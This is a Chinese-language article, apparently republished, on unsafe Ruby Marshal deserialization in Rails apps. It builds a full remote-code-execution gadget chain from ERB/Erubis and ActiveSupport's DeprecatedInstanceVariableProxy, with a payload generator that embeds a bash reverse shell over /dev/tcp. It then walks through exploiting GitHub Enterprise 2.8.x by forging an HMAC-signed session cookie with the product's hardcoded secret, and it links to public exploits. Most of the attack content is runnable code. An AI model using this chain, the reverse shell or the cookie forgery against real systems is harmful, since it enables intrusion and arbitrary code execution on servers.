探索Ruby项目中的反序列化问题

栏目: Ruby · 发布时间: 5年前

内容简介:Ruby on Rails是一个流行的应用程序平台,它使用cookie来识别应用程序会话。 cookie由两部分组成:cookie-value和signature。每当Rails获取cookie时,它通过验证发送的cookie值的哈希/签名是否与发送的签名匹配来验证cookie是否未被篡改。用于检索内容的解组cookie通常包含三个逻辑步骤: url_decoded_cookie = CGI :: unescape(cookie_value) b64_decoded_session = Base64.dec
前言

Ruby on Rails是一个流行的应用程序平台,它使用cookie来识别应用程序会话。 cookie由两部分组成:cookie-value和signature。每当Rails获取cookie时,它通过验证发送的cookie值的哈希/签名是否与发送的签名匹配来验证cookie是否未被篡改。用于检索内容的解组cookie通常包含三个逻辑步骤: url_decoded_cookie = CGI :: unescape(cookie_value) b64_decoded_session = Base64.decode64(url_decoded_cookie) session = Marshal.load(b64_decoded_session)

在许多白盒Ruby on Rails项目的审计过程中,我们一次又一次地遇到了元组反序列化的不安全使用。虽然会话cookie反序列化是一个严重的问题,但是有一整类的解组错误可能导致远程执行代码(RCE)。所有情况都是相似的:解组cookie,一些GET-POST数据或用户会话中的任何类型的数据。例如: if(data = @cookies [:user_data])。present? user,info = Marshal.load(Base64.decode64(data))

这种调用demarshalling是使用反序列化机制的一个非常危险的例子,因为它可能直接导致任意代码执行。这是最终目标,但首先,我们需要构建在访问时运行的代码。 PoC创建 第一步是使用一些erb模板解析器,如ERB或Erubis,它在GitHub Enterprise中使用。src变量的实例可能包含纯 Ruby 代码; 因此,我们可以在此处放置有效负载,并使用将要执行的代码。 erb = ERB.allocate erb.instance_variable_set :@src, “%x();”

https://github.com/ruby/ruby/blob/trunk/lib/erb.rb#L875: 738: class ERB … 852: # Generate results and print them. (see ERB#result) 853: def run(b=new_toplevel) 854: print self.result(b) 855: end … 865: def result(b=new_toplevel) … 875: eval(@src, b, (@filename || ‘(erb)’), @lineno) 876: end 877: end

or erb = Erubis::Eruby.allocate erb.instance_variable_set :@src, “%x{};”

https://github.com/kwatch/erubis/blob/master/lib/erubis/evaluator.rb#L65: 10: module Erubis … 44: module RubyEvaluator … 52: ## eval(@src) with binding object 53: def result(_binding_or_hash=TOPLEVEL_BINDING) … 65: return eval(@src, _b, (@filename || ‘(erubis’))

查看用于执行有效负载的评估程序的源代码,我们需要在创建erb对象之后调用结果方法。我们不能直接影响执行过程; 因此,我们需要在解组过程中以某种方式强制调用结果方法。InstanceVariableProxy类可以帮助我们解决这类问题。ActiveSupport模块包含一种特殊的机制,用于标记过时的方法并对其进行更改,以使其现在可以正常工作。这叫做ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy。 简单地说,这个机制与解释者交谈:“嘿,伙计。不再支持此方法。请使用这个并运行。“ 089: class DeprecatedInstanceVariableProxy < DeprecationProxy 090: def initialize(instance, method, var = “@#{method}”, deprecator = ActiveSupport::Deprecation.instance) 091: @instance = instance 092: @method = method … 098: def target 099: @instance. send (@method) … 102: def warn(callstack, called, args) 103: @deprecator.warn(“#{@var} is deprecated! Call #{@method}.#{called} instead of #{@var}.#{called}. Args: #{args.inspect}”, callstack)

因此,我们可以使用它来弃用实例变量; 运行该实例变量后,它将丢弃警告消息并调用新方法。这正是我们在这一步所需要的。 class ActiveSupport class Deprecation def initialize() @silenced = true end class DeprecatedInstanceVariableProxy def initialize(instance, method) @instance = instance @method = method @deprecator = ActiveSupport::Deprecation.new end end end end depr = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.allocate depr.instance_variable_set :@instance, erb depr.instance_variable_set :@method, :result depr.instance_variable_set :@var, “@result” depr.instance_variable_set :@deprecator, ActiveSupport::Deprecation.new

或者 depr = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(erubis, :result) 在这一步,如果我们尝试访问depr对象,我们将运行代码。 现在我们可以使用Marshal.dump序列化已完成的对象,并使用base64函数进行编码。 payload = Base64.encode64(Marshal.dump(depr)).gsub(“\n”, “”) puts payload

将所有步骤组合到源代码中 require“base64” require“erb” class ActiveSupport class Deprecation def initialize() @silenced = true end class DeprecatedInstanceVariableProxy def initialize(instance,method) @instance = instance @method = method @deprecator = ActiveSupport :: Deprecation.new end end end end erb = ERB.allocate erb.instance_variable_set:@src,“%x(bash -i>&/ dev / tcp/127.0.0.1 / 1337 0>&1);” erb.instance_variable_set:@ lineno,1337 depr = ActiveSupport :: Deprecation :: DeprecatedInstanceVariableProxy.allocate depr.instance_variable_set:@ instance,erb depr.instance_variable_set:@ method,:result depr.instance_variable_set: @ var,“ @ result ” depr.instance_variable_set:@ predecator,ActiveSupport :: Deprecation .new payload = Base64.encode64(Marshal.dump(depr))。gsub(“\ n”,“”)

加载payload 你可以在repl.it代码平台运行。 去年在GitHub Enterprise 2.8.0 < 2.8.6产品中发现了类似的错误。会话cookie标志有一个静态会话密钥,cookie本身就是Marshal对象。 /data/enterprise-manage/current/config.ru : 62: # Enable sessions 63: use Rack::Session::Cookie, 64: :key => “_gh_manage”, 65: :path => “/”, 66: :expire_after => 1800, # 30 minutes in seconds 67: :secret => ENV[“ENTERPRISE_SESSION_SECRET”] || “641dd6454584ddabfed6342cc66281fb”

首先,使用上述漏洞利用代码创建DeprecatedInstanceVariableProxy对象。 session = {“session_id” => “”, “exploit” => proxy}

之后,我们需要编组会话变量,编码和HMAC使用我们的SECRET密钥641dd6454584ddabfed6342cc66281fb签署其SHA1摘要。 dump = [Marshal.dump(session)].pack(“m”)

hmac = OpenSSL::HMAC.hexdigest(OpenSSL::Digest::SHA1.new, SECRET, dump)

最后,编码有效负载并使用 - 分隔符对连接进行签名,然后将请求作为cookie头发送。 rqst[‘Cookie’] = “_gh_manage=#{CGI.escape(“#{dump} — #{hmac}”)}”

图1. 成功利用GitHub Enterprise 2.8.5 在修复了这个错误后的几个月,台湾研究员Orange Tsai发现了另一个包含像这样的反序列化漏洞的漏洞。该问题有四个链 - 通过远程SSRF到内部Graphite服务SSRF,然后到Python httplib.HTTPConnection模块内的CR-LF注入,然后从Memcache数据库对Ruby对象进行不安全的反序列化。攻击者可以存储使用相同漏洞利用生成的恶意对象,然后在从缓存Memcache中获取该对象后,Ruby gem会自动对其进行反序列化,这将导致代码执行。

图2. 成功利用GitHub Enterprise 2.8.6 成功利用后,攻击者可以使用此类错误在远程系统上运行任意代码。由于使用的广泛可能性,这样的错误导致生产中的严重问题。例如,加密矿工喜欢将这样的bug应用到他们的攻击库中以感染许多系统,以便受感染的系统可以成为僵尸网络的一部分。当然,如果易受攻击的应用程序从目标系统上的高权限用户运行,问题将变得更加严重。留意! 参考 https://www.slideshare.net/frohoff1/appseccali-2015-marshalling-pickles — Slides about marshalling and pickle serialization from OWASP AppSecCali 2015 by Christopher Frohoff https://gist.github.com/niklasb/df9dba3097df536820888aeb4de3284f — Rails 5.1.4 YAML unsafe deserialization RCE payload https://repl.it/@allyshka/Ruby-RCE-with-Marshalload — Ruby Marshal+Base64 RCE payload playground/generator http://exablue.de/blog/2017-03-15-github-enterprise-remote-code-execution.html — GitHub Enterprise 2.8.0 < 2.8.6 RCE report and details https://www.exploit-db.com/exploits/41616/ — GitHub Enterprise 2.8.0 < 2.8.6 RCE exploit http://blog.orange.tw/2017/07/how-i-chained-4-vulnerabilities-on.html — GitHub Enterprise 4-chained vulnerability. One of them is unsafe Marshal deserialization


以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

网络是怎样连接的

网络是怎样连接的

[日]户根勤 / 周自恒 / 人民邮电出版社 / 2017-1-1 / CNY 49.00

本书以探索之旅的形式,从在浏览器中输入网址开始,一路追踪了到显示出网页内容为止的整个过程,以图配文,讲解了网络的全貌,并重点介绍了实际的网络设备和软件是如何工作的。目的是帮助读者理解网络的本质意义,理解实际的设备和软件,进而熟练运用网络技术。同时,专设了“网络术语其实很简单”专栏,以对话的形式介绍了一些网络术语的词源,颇为生动有趣。 本书图文并茂,通俗易懂,非常适合计算机、网络爱好者及相关从......一起来看看 《网络是怎样连接的》 这本书的介绍吧!

随机密码生成器
随机密码生成器

多种字符组合密码

XML 在线格式化
XML 在线格式化

在线 XML 格式化压缩工具

HEX HSV 转换工具
HEX HSV 转换工具

HEX HSV 互换工具